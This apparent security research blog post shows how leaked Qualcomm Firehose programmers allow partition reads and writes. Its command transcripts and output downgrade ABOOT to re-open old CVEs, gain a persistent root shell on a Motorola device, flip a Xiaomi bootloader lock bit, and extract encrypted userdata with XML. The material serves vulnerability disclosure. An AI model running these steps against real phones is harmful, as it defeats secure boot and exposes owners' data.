In the previous chapter we presented Qualcomm Sahara, EDL and the problem of the leaked Firehose programmers. We ended the blog post by describing two types of potential attacks: Storage-based and memory-based. This chapter of our series is dedicated to the former.
It’s a well-known fact that by having Firehose access, one may flash arbitrary partitions, by using the program
and patch
tags. It’s a bit less-known that Firehose also allows reading arbitrary partitions, by using the read
tag, which unsurprisingly enables data exfiltration (possibly encrypted, depending on the partition).
It should be clarified that having a secure chain-of-trust implies that such storage-based attacks cannot immediately achieve arbitrary code execution by replacing the bootloader chain, as replacing authentic code with a tampered one can be detected by the loading entity. Despite that, such a capability may enable enough leeway for the attacker to defeat secure boot, as we will see next.
Although every part of the bootloader chain is digitally-signed and verified (each part by its loader), one may still downgrade arbitrary partitions by flashing old images, that have a correct signature.
This problem is generally tackled by Qualcomm, using qFuses, to revoke old images. This is achieved by including a version field in the signed bootloader image header, that can be increased in order to revoke old images. Despite that, many OEMs, do not employ this anti-rollback capability, which implies that attackers can downgrade flashable parts of the bootloader chain (e.g. SBL
/ ABOOT
/ TZ
). Any partition which is consequently verified by the bootloader chain can be downgraded too.
This allows for exploitation of old vulnerabilities. For example, the following shows how we downgraded ABOOT
of a OnePlus 3T device in order to exploit old vulnerabilities we had previously found in it, that enabled a secure boot bypass. Before the attack, the device had a ABOOT
version patched for CVE-2017-5626 and CVE-2017-5624:
$ fastboot oem disable_dm_verity
...
FAILED (remote: unknown command)
finished. total time: 0.020s
$ fastboot oem 4F500301
...
FAILED (remote: unknown command)
finished. total time: 0.020s
Downgrading ABOOT
through Firehose using our tool:
> firehorse.py -t oneplus3t target write_partition aboot aboot-old.bin
This sends behind the scenes the following XML through Firehose:
<data>
<configure ZlpAwareHost="1" SkipStorageInit="0" TargetName="8974" SkipWrite="0" AckRawDataEveryNumPackets="100" MaxPayloadSizeToTargetInBytes="32768" MemoryName="ufs" />
<program SECTOR_SIZE_IN_BYTES="4096" file_sector_offset="0" filename="emmc_appsboot-4.0.3.mbn" label="aboot" num_partition_sectors="2048" partofsingleimage="false" physical_partition_number="4" readbackverify="false" size_in_KB="8192.0" sparse="false" start_byte_hex="0x990a000" start_sector="39178"/>
<program SECTOR_SIZE_IN_BYTES="4096" file_sector_offset="0" filename="emmc_appsboot-4.0.3.mbn" label="abootbak" num_partition_sectors="2048" partofsingleimage="false" physical_partition_number="4" readbackverify="false" size_in_KB="8192.0" sparse="false" start_byte_hex="0xa10a000" start_sector="41226"/>
</data>
Indeed, ABOOT has been downgraded, and is now vulnerable to CVE-2017-5626 and CVE-2017-5624:
$ fastboot oem disable_dm_verity
...
OKAY [ 0.045s]
finished. total time: 0.045s
$ fastboot oem 4F500301
...
OKAY [ 0.020s]
finished. total time: 0.020s
Another PoC is demonstrated in the Motorola Bootloader (also has a leaked programmer, although it does not seem to implement Firehose, but rather an older protocol). Using this attack we downgrade it to a CVE-2016-10277 susceptible version, that also defeats secure boot.
We begin with an ADB shell running on a device with a patched ABOOT. We end with a persistent root shell (i.e. untethered jailbreak) by exploiting CVE-2016-10277. Please note that our test device has a re-locked Android Bootloader, and Google was not able to reproduce our PoC.
+ adb wait-for-device shell getprop ro.build.fingerprint
google/shamu/shamu:7.1.1/N6F27M/4299435:user/release-keys
+ adb shell id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
+ adb reboot edl
+ sudo ./edl/qboot blank-flash ./edl/programmer.mbn ./edl/singleimage.bin
< waiting for device >
opening device: /dev/ttyUSB0
OKAY [ 0.000s]
greeting device for command mode
OKAY [ 0.001s]
identifying device
...serial = 0xE4860D
...chip-id = 0x901
...chip-rev = 0x0
...sv-sbl = 0x0
OKAY [ 0.002s]
finding files
...programmer = ./edl/programmer.mbn
...singleimage = ./edl/singleimage.bin
OKAY [ 0.000s]
validating files
OKAY [ 0.001s]
switching to download mode
OKAY [ 0.000s]
greeting device for image downloading
OKAY [ 0.000s]
sending programmer
OKAY [ 0.006s]
flashing singleimage
100%
OKAY [ 3.120s]
rebooting target
OKAY [ 0.000s]
finished. total time: 3.131s
+ fastboot getvar version-bootloader
version-bootloader: moto-apq8084-71.08(*)
finished. total time: 0.002s
+ fastboot flash partition img/gpt.bin
(bootloader) has-slot:partition: not found
target reported max download size of 536870912 bytes
sending 'partition' (32 KB)...
OKAY [ 0.003s]
writing 'partition'...
[...]
OKAY [ 0.063s]
finished. total time: 0.067s
+ fastboot flash aboot img/bootloader.aboot-n6f26y.img
+ fastboot reboot-bootloader
+ fastboot getvar version-bootloader
version-bootloader: moto-apq8084-72.02(*)
finished. total time: 0.002s
+ fastboot oem config fsg-id a initrd=0x11000000,1519997
+ fastboot flash aleph ./img/initroot-shamu-aosp-nmf26f.cpio.gz
+ fastboot continue
+ adb wait-for-device
+ adb push ./img/bootloader.aboot-n6f26y.img ./img/bootloader.aboot-n6f27e.img ./img/initroot-shamu-aosp-nmf26f.img ./img/radio.modem-n6f27e.img /data/local/tmp
./img/bootloader.aboot-n6f26y.img: 1 file pushed. 19.9 MB/s (1048576 bytes in 0.050s)
./img/bootloader.aboot-n6f27e.img: 1 file pushed. 18.8 MB/s (1048576 bytes in 0.053s)
./img/initroot-shamu-aosp-nmf26f.img: 1 file pushed. 17.4 MB/s (8728576 bytes in 0.479s)
./img/radio.modem-n6f27e.img: 1 file pushed. 19.6 MB/s (117440512 bytes in 5.715s)
4 files pushed. 19.4 MB/s (128266240 bytes in 6.302s)
+ adb shell dd of=/dev/block/platform/msm_sdcc.1/by-name/modem if=/data/local/tmp/radio.modem-n6f27e.img
+ adb shell dd of=/dev/block/platform/msm_sdcc.1/by-name/boot if=/data/local/tmp/initroot-shamu-aosp-nmf26f.img
+ adb shell dd of=/dev/block/platform/msm_sdcc.1/by-name/aboot if=/data/local/tmp/bootloader.aboot-n6f27e.img
+ adb shell dd of=/dev/block/platform/msm_sdcc.1/by-name/abootBackup if=/data/local/tmp/bootloader.aboot-n6f27e.img
+ adb shell rm -fr /data/local/tmp/*.img
+ adb reboot bootloader
+ fastboot getvar version-bootloader
+ fastboot oem config fsg-id
...
OKAY [ 0.008s]
finished. total time: 0.008s
+ fastboot continue
OKAY [ 0.002s]
finished. total time: 0.002s
+ adb wait-for-device shell getprop ro.build.fingerprint
google/shamu/shamu:7.1.1/N6F27E/3939304:user/release-keys
+ adb shell id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
+ adb shell
shamu:/ #
For some devices, such as several Xiaomi ones, partition flashing is sufficient for being able to unlock the Android Bootloader (which disables the verification of the rest of the chain):
[Primary Bootloader (PBL)]
|
`---NORMAL BOOT---.
[Secondary Bootloader (SBL)]
|-.
| [Applications Bootloader (ABOOT)]
| `-.
| [boot.img]
| |-- Linux Kernel
| `-- initramfs
| `-.
| [system.img]
|
`-[TrustZone]
The bootloader locking bit of such devices is held in the devinfo
partition, parsed by the Android Bootloader.
Attackers can simply flip the lock bit, to load an arbitrary boot image. This will not cause any factory reset.
Reading devinfo
using our framework prior to the attack yields the following output:
> firehorse.py -t ugglite target read_partition devinfo
> hexdump devinfo.bin
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 41 4E 44 52 4F 49 44 2D 42 4F 4F 54 21 00 00 00 ANDROID-BOOT!...
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Setting 1
at offsets 0x10
, 0x18
, and flashing the modified devinfo
will unlock the bootloader:
> firehorse.py -t ugglite target write_partition devinfo devinfo-modified
> fastboot oem device-info
(bootloader) Device tampered: false
(bootloader) Device critical unlocked: true
This unlocks the bootloader, and disables the verification of boot.img
.
Flashing our tampered boot.img
(by using fastboot
or firehose
) (with a modified init
such that SELinux is not initialized, and a modified adbd
that lacks (1) authorization (2) capabilities drop (3) setuid/gid to shell
), will give a root shell with permissive SELinux:
> fastboot flash boot target/ugglite/boot-ugglite-root.img
> adb shell
ugglite:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:shell:s0
ugglite:/ # getenforce
Permissive
By using the read
tag, (encrypted) data can be extracted from flash. For example, the following XML extracts the encrypted userdata
partition of Xiaomi Note 5A.
<?xml version="1.0" ?>
<data>
<program SECTOR_SIZE_IN_BYTES="512" file_sector_offset="0" filename="userdata.img" label="userdata" num_partition_sectors="1572864" physical_partition_number="0" size_in_KB="3145728.0" sparse="true" start_byte_hex="0x13c000000" start_sector="10354688"/>
</data>
</xml>
In the part we demonstrated that having storage-write access is sufficient, for some Qualcomm-based device, to conduct attacks against Secure Boot, in addition to (encrypted) data extraction. In the next part we will raise the bar even higher, and present a much more powerful memory-based attack – arbitrary code execution in the context of the Firehose programmers themselves!